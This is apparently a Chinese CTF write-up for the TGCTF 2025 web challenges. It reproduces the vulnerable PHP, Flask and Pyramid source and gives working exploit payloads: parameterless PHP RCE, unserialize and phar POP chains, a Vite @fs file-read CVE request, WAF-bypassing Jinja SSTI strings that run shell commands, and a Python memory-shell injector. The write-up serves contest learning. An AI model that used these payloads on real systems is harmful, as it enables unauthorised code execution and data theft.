TGCTF web

AAA偷渡阴平

这个题是一个非预期的无参RCE

php 复制代码
<?php


$tgctf2025=$_GET['tgctf2025'];

if(!preg_match("/0|1|[3-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $tgctf2025)){
    //hint:你可以对着键盘一个一个看,然后在没过滤的符号上用记号笔画一下(bushi
    eval($tgctf2025);
}
else{
    die('(╯‵□′)╯炸弹!•••*~●');
}

highlight_file(__FILE__); 

这里只给了数字2,所有的字母,和一些符号 ,这里貌似是过滤了(),但是仔细看的话可以发现这里的括号其实是中文,也就是等于没有过滤。

先说下无参RCE的打法。

http 复制代码
http://node1.tgctf.woooo.tech:31293/?tgctf2025=var_dump(getallheaders());
http 复制代码
http://node1.tgctf.woooo.tech:31293/?tgctf2025=var_dump(next(getallheaders()));

这里通过next获得Pragma这个参数,这个参数是我们可以控制的。

这样在外边在套上一层eval就可以了

什么文件上传

开题一个文件上传点,尝试之后发无论上传什么内容都会报错,无法成功上传。

爆破一下路径发现robots.txt

这里重点看一下class.php

看到源代码

php 复制代码
<?php
    highlight_file(__FILE__);
    error_reporting(0);
    function best64_decode($str)
    {
        return base64_decode(base64_decode(base64_decode(base64_decode(base64_decode($str)))));
    }
    class yesterday {
        public $learn;
        public $study="study";
        public $try;
        public function __construct()
        {
            $this->learn = "learn<br>";
        }
        public function __destruct()
        {
            echo "You studied hard yesterday.<br>";
            return $this->study->hard();
        }
    }
    class today {
        public $doing;
        public $did;
        public $done;
        public function __construct(){
            $this->did = "What you did makes you outstanding.<br>";
        }
        public function __call($arg1, $arg2)
        {
            $this->done = "And what you've done has given you a choice.<br>";
            echo $this->done;
            if(md5(md5($this->doing))==666){
                return $this->doing();
            }
            else{
                return $this->doing->better;
            }
        }
    }
    class tommoraw {
        public $good;
        public $bad;
        public $soso;
        public function __invoke(){
            $this->good="You'll be good tommoraw!<br>";
            echo $this->good;
        }
        public function __get($arg1){
            $this->bad="You'll be bad tommoraw!<br>";
        }

    }
    class future{
        private $impossible="How can you get here?<br>";
        private $out;
        private $no;
        public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;

        public function __set($arg1, $arg2) {
            if ($this->out->useful7) {
                echo "Seven is my lucky number<br>";
                system('whoami');
            }
        }
        public function __toString(){
            echo "This is your future.<br>";
            system($_POST["wow"]);
            return "win";
        }
        public function __destruct(){
            $this->no = "no";
            return $this->no;
        }
    }
    if (file_exists($_GET['filename'])){
        echo "Focus on the previous step!<br>";
    }
    else{
        $data=substr($_GET['filename'],0,-4);
        unserialize(best64_decode($data));
    }
    // You learn yesterday, you choose today, can you get to your future?
?> 

一个简单的pop链子,整体的利用是:

http 复制代码
yesterday -> __destruct
today -> __call
tommoraw -> toString 之后触发危险函数

这里的一个点是md5()处理一个对象的时候,会首先调用这个对象的toString

但是这里要注意一下参数的处理,接收到参数之后,多次进行base64解码,然后截取到倒数第四个字符,所以我们构造poc的时候,要预先多次base64编码,然后拼接上4个多余的字符。

php 复制代码
<?php  
  
function best64_encode($str)  
{  
    return base64_encode(base64_encode(base64_encode(base64_encode(base64_encode($str)))));  
}  
  
class future{  
  
}  
  
class today {  
    public $doing;  
    public function __construct() {  
        $this->doing = new future();  
    }  
}  
  
class yesterday {  
    public $learn;  
    public $study;  
    public $try;  
  
    public function __construct() {  
        $this->study = new today();  
    }  
}  
  
  
$a=new yesterday();  
echo best64_encode(serialize($a))."1234";

前端GAME

简单玩一下游戏,直接结束掉,发现提示要读取/tgflagggg下的flag

这里后边看了下js代码,发现只要分数高于17就会有这个提示,显然这个题的考点不在这个题目的分数上,然后考虑怎么读取flag,直接访问肯定是访问不到的,这时候看下题目的代码依赖。

发现了这里的vite想起这里是有一个任意文件读取的漏洞的,简单搜索一下得到CVE-2025-30208

参考文章

根据文章当中的

http 复制代码
curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw??"

构造我们这个题的poc

http 复制代码
curl "http://node2.tgctf.woooo.tech:30758/@fs/tgflagggg?import&raw??"

火眼辩魑魅

这个题,好像又是被我非掉了

还是找到了这里的robots.txt

这里每个php文件对应一个考察点,但是题目说只有一个洞是可行的,那么就挨个看一下

第一个文件上传,我当时做的时候,反正是没有任何权限,直接放弃这个点

这里直接给了源代码,并且直接eval考虑利用一下 。直接打是存在过滤的,应该是过滤掉了各种危险函数,但是这里可以拼接绕过一下。

php 复制代码
shell=$a="syst"."em";$a('cat /tgfffffllllaagggggg');

之后找出题人聊了一下

发现是非预期,于是继续看下其他的点

预期解是这里的ssti,就不复现了

这个是反序列化的pop链,最后Sinkphp原生类,但是这里黑名单太多了,目测没法打。

直面天命

该说不说这个题属于有点套了

不懂是啥

源码当中发现/hint路由

这里没办法只能是多线程爆破一下,这里可以让GPT写个脚本,多线程还是很快的,这里找到了aazz

提示说这个页面可以传参数,这里有点谜语人,手动fuzz几个常见的参数最后发现是filename,并且这里存在任意文件读取的问题。

然后尝试读取源代码

http 复制代码
http://node2.tgctf.woooo.tech:30666/aazz?filename=app.py
python 复制代码
import os  
import string  
from flask import Flask, request, render_template_string, jsonify, send_from_directory  
from a.b.c.d.secret import secret_key  
  
app = Flask(__name__)  
  
black_list=['{','}','popen','os','import','eval','_','system','read','base','globals']  
def waf(name):  
    for x in black_list:  
        if x in name.lower():  
            return True  
    return Falsedef is_typable(char):  
    # 定义可通过标准 QWERTY 键盘输入的字符集  
    typable_chars = string.ascii_letters + string.digits + string.punctuation + string.whitespace  
    return char in typable_chars  
  
@app.route('/')  
def home():  
    return send_from_directory('static', 'index.html')  
  
@app.route('/jingu', methods=['POST'])  
def greet():  
    template1=""  
    template2=""  
    name = request.form.get('name')  
    template = f'{name}'  
    if waf(name):  
        template = '想干坏事了是吧hacker?哼,还天命人,可笑,可悲,可叹<br><img src="{{  url_for("static", filename="3.jpeg") }}" alt="Image">'  
    else:  
        k=0  
        for i in name:  
            if is_typable(i):  
                continue  
            k=1  
            break  
        if k==1:  
            if not (secret_key[:2] in name and secret_key[2:]):  
                template = '连"六根"都凑不齐,谈什么天命不天命的,还是戴上这金箍吧<br><br>再去西行历练历练<br><br><img src="{{  url_for("static", filename="4.jpeg") }}" alt="Image">'  
                return render_template_string(template)  
            template1 = ""六根"也凑齐了,你已经可以直面天命了!我帮你把"secret_key"替换为了"{{}}"<br>最后,如果你用了cat,就可以见到齐天大圣了<br>"  
            template= template.replace("直面","{{").replace("天命","}}")  
            template = template  
    if "cat" in template:  
        template2 = '<br>或许你这只叫天命人的猴子,真的能做到?<br><br><img src="{{  url_for("static", filename="2.jpeg") }}" alt="Image">'  
    try:  
        return template1+render_template_string(template)+render_template_string(template2)  
    except Exception as e:  
        error_message = f"500报错了,查询语句如下:<br>{template}"  
        return error_message, 400  
  
@app.route('/hint', methods=['GET'])  
def hinter():  
    template="hint:<br>有一个由4个小写英文字母组成的路由,去那里看看吧,天命人!"  
    return render_template_string(template)  
  
@app.route('/aazz', methods=['GET'])  
def finder():  
    filename = request.args.get('filename', '')  
    if filename == "":  
        return send_from_directory('static', 'file.html')  
  
    if not filename.replace('_', '').isalnum():  
        content = jsonify({'error': '只允许字母和数字!'}), 400  
    if os.path.isfile(filename):  
        try:  
            with open(filename, 'r') as file:  
                content = file.read()  
            return content  
        except Exception as e:  
            return jsonify({'error': str(e)}), 500  
    else:  
        return jsonify({'error': '路径不存在或者路径非法'}), 404  
  
  
if __name__ == '__main__':  
    app.run(host='0.0.0.0', port=80)

重点在这个路由,但是这里过滤掉了{``{}},但是后边的处理是替换成了直面天命,就是ssti的那些poc在这里把{``{}}替换成直面天命就行,再次看下黑名单。

python 复制代码
black_list=['{','}','popen','os','import','eval','_','system','read','base','globals']

这些地方都是可以通过拼接实现绕过的,拿出珍藏的poc在这里改一下

python 复制代码
直面lipsum|attr("\u005f\u005fglo"+"bals\u005f\u005f")|attr("\u005f\u005fgetitem\u005f\u005f")("o"+"s")|attr("po"+"pen")("env")|attr("re"+"ad")()天命

这里poc应该是很多的,但是这里有这样的替换,无法直接使用fenjing进行。

python 复制代码
直面lipsum|attr("\u005f\u005fglo"+"bals\u005f\u005f")|attr("\u005f\u005fgetitem\u005f\u005f")("o"+"s")|attr("po"+"pen")("tac /f*")|attr("re"+"ad")()天命

熟悉的配方,熟悉的味道

python 复制代码
from pyramid.config import Configurator
from pyramid.request import Request
from pyramid.response import Response
from pyramid.view import view_config
from wsgiref.simple_server import make_server
from pyramid.events import NewResponse
import re
from jinja2 import Environment, BaseLoader

eval_globals = { #防止eval执行恶意代码
    '__builtins__': {},      # 禁用所有内置函数
    '__import__': None       # 禁止动态导入
}


def checkExpr(expr_input):
    expr = re.split(r"[-+*/]", expr_input)
    print(exec(expr_input))

    if len(expr) != 2:
        return 0
    try:
        int(expr[0])
        int(expr[1])
    except:
        return 0

    return 1


def home_view(request):
    expr_input = ""
    result = ""

    if request.method == 'POST':
        expr_input = request.POST['expr']
        if checkExpr(expr_input):
            try:
                result = eval(expr_input, eval_globals)
            except Exception as e:
                result = e
        else:
            result = "爬!"


    template_str = 【xxx】

    env = Environment(loader=BaseLoader())
    template = env.from_string(template_str)
    rendered = template.render(expr_input=expr_input, result=result)
    return Response(rendered)


if __name__ == '__main__':
    with Configurator() as config:
        config.add_route('home_view', '/')
        config.add_view(home_view, route_name='home_view')
        app = config.make_wsgi_app()

    server = make_server('0.0.0.0', 9040, app)
    server.serve_forever()

这里输入expr,会首先进到checkExpr这个方法当中,仔细看一下这里

python 复制代码
def checkExpr(expr_input):
    expr = re.split(r"[-+*/]", expr_input)
    print(exec(expr_input))

    if len(expr) != 2:
        return 0
    try:
        int(expr[0])
        int(expr[1])
    except:
        return 0

    return 1

首先根据四则运算符进行分割,然后直接进行exec,所以这里存在命令执行,但是无法直接拿到回显,并且不出网,那么就是经典的内存马利用环节了。

参考文章

python 复制代码
import requests  
code='''  
def waff():  
    def f():        yield g.gi_frame.f_back  
    g = f()    frame = next(g)       
    b = frame.f_back.f_back.f_globals  
    def hello(request):        code = request.POST['code']        res=eval(code)        return Response(res)  
    config.add_route('shellb', '/shellb')    config.add_view(hello, route_name='shellb')    config.commit()  
waff()  
'''  
  
url=""  
#url="http://127.0.0.1:9040/"  
data={  
    "expr":f"{code}+1"  
}  
  
r=requests.post(url=url,data=data)

借助这个脚本写入内存马,之后访问一下直接rce

TG_wordpress

最幽默的一题,没去打,根据描述找了下常见的CVE

复制代码
TGCTF{CVE-2020-25213}

什么文件上传?(复仇

对之前的非预期做了修复

php 复制代码
<?php
highlight_file(__FILE__);
error_reporting(0);
function best64_decode($str)
{
    return base64_encode(md5(base64_encode(md5($str))));
    }
class yesterday {
    public $learn;
    public $study="study";
    public $try;
    public function __construct()
    {
        $this->learn = "learn<br>";
    }
    public function __destruct()
    {
        echo "You studied hard yesterday.<br>";
        return $this->study->hard();
    }
}
class today {
    public $doing;
    public $did;
    public $done;
    public function __construct(){
        $this->did = "What you did makes you outstanding.<br>";
    }
    public function __call($arg1, $arg2)
    {
        $this->done = "And what you've done has given you a choice.<br>";
        echo $this->done;
        if(md5(md5($this->doing))==666){
            return $this->doing();
        }
        else{
            return $this->doing->better;
        }
    }
}
class tommoraw {
    public $good;
    public $bad;
    public $soso;
    public function __invoke(){
        $this->good="You'll be good tommoraw!<br>";
        echo $this->good;
    }
    public function __get($arg1){
        $this->bad="You'll be bad tommoraw!<br>";
    }

}
class future{
    private $impossible="How can you get here?<br>";
    private $out;
    private $no;
    public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;

    public function __set($arg1, $arg2) {
        if ($this->out->useful7) {
            echo "Seven is my lucky number<br>";
            system('whoami');
        }
    }
    public function __toString(){
        echo "This is your future.<br>";
        system($_POST["wow"]);
        return "win";
    }
    public function __destruct(){
        $this->no = "no";
        return $this->no;
    }
}
if (file_exists($_GET['filename'])){
    echo "Focus on the previous step!<br>";
}
else{
    $data=substr($_GET['filename'],0,-4);
    unserialize(best64($data));
}
// You learn yesterday, you choose today, can you get to your future?
?> 

这里主要重写了best64_decode函数,导致我们无法控制这里的filename触发反序列化,但是根据file_exists和文件上传点,考虑phar反序列化。

现在的问题是,如何上传文件呢。

根据这里的提示,允许的后缀名是三个小写字母,还是需要进行爆破,这里爆出来的后缀是atg

php 复制代码
<?php  
  
function best64_encode($str)  
{  
    return base64_encode(base64_encode(base64_encode(base64_encode(base64_encode($str)))));  
}  
  
class future{  
  
}  
  
class today {  
    public $doing;  
    public function __construct() {  
        $this->doing = new future();  
    }  
}  
  
class yesterday {  
    public $learn;  
    public $study;  
    public $try;  
  
    public function __construct() {  
        $this->study = new today();  
    }  
}  
  
  
$a=new yesterday();  
  
$phar = new Phar("phar.phar"); //后缀名必须为phar  
$phar->startBuffering();  
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub  
$phar->setMetadata($a); //将自定义的meta-data存入manifest  
$phar->addFromString("test.txt", "test"); //添加要压缩的文件  
$phar->stopBuffering();

稍微修改下之前的poc,生成一个phar文件,然后上传,之后借助phar协议读取这个文件 触发反序列化。

AAA偷渡阴平(复仇)

php 复制代码
<?php


$tgctf2025=$_GET['tgctf2025'];

if(!preg_match("/0|1|[3-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\|localeconv|pos|current|print|var|dump|getallheaders|get|defined|str|split|spl|autoload|extensions|eval|phpversion|floor|sqrt|tan|cosh|sinh|ceil|chr|dir|getcwd|getallheaders|end|next|prev|reset|each|pos|current|array|reverse|pop|rand|flip|flip|rand|content|echo|readfile|highlight|show|source|file|assert/i", $tgctf2025)){
    //hint:你可以对着键盘一个一个看,然后在没过滤的符号上用记号笔画一下(bushi
    eval($tgctf2025);
}
else{
    die('(╯‵□′)╯炸弹!•••*~●');
}

highlight_file(__FILE__);

这里修复了这些无参rce可以利用的函数,这里卡了很久,最终找到

http 复制代码
http://node2.tgctf.woooo.tech:31109/?tgctf2025=session_start();system(hex2bin(session_id());

天命复仇

这里把waf拿出来在本地搭建一下,然后丢到fenjing当中直接能跑出来

python 复制代码
import requests
url="http://node1.tgctf.woooo.tech:31535/jingu"

poc="""天命((joiner["\\x5f\\x5f\\x69\\x6e\\x69\\x74\\x5f\\x5f"]["\\x5f\\x5f\\x67\\x6c\\x6f\\x62\\x61\\x6c\\x73\\x5f\\x5f"]["\\x5f\\x5f\\x62\\x75\\x69\\x6c\\x74\\x69\\x6e\\x73\\x5f\\x5f"]["\\x5f\\x5f\\x69\\x6d\\x70\\x6f\\x72\\x74\\x5f\\x5f"]('o''s'))['p''open']('cat /tg*'))['r''ead']()难违"""
data={
    "name": poc
}
r=requests.post(url=url,data=data)

print(r.text)
相关推荐
Awesome Baron2 分钟前
jupyter中切换Anaconda虚拟环境
windows·python·jupyter
这里有鱼汤33 分钟前
无需HTML/CSS!用Python零基础打造专业级数据应用——Streamlit入门指南
前端·后端·python
三月樱41 分钟前
通过python实现bilibili缓存视频转为mp4格式
python·音视频
这里有鱼汤1 小时前
10 分钟搞定一个 Python Web 应用?这不比泡面更香!🍜
python
梓羽玩Python1 小时前
这个开源神器终结了AI数据整合的噩梦!一键聚合网页、代码、论文到剪贴板!
人工智能·python·github
一个天蝎座 白勺 程序猿1 小时前
Python(16)Python文件操作终极指南:安全读写与高效处理实践
开发语言·python·安全
天才测试猿1 小时前
接口测试之postman使用指南
自动化测试·软件测试·python·测试工具·职场和发展·接口测试·postman
databook1 小时前
Python3.14 即将带来的变化
python
H.ZWei2 小时前
鸿蒙应用开发—鸿蒙app一键安装脚本
python·华为·harmonyos·安装·hdc
三天不学习2 小时前
混合开发部署实战:PyInstaller + .NET 8 + Docker全链路配置
python·docker·容器·.net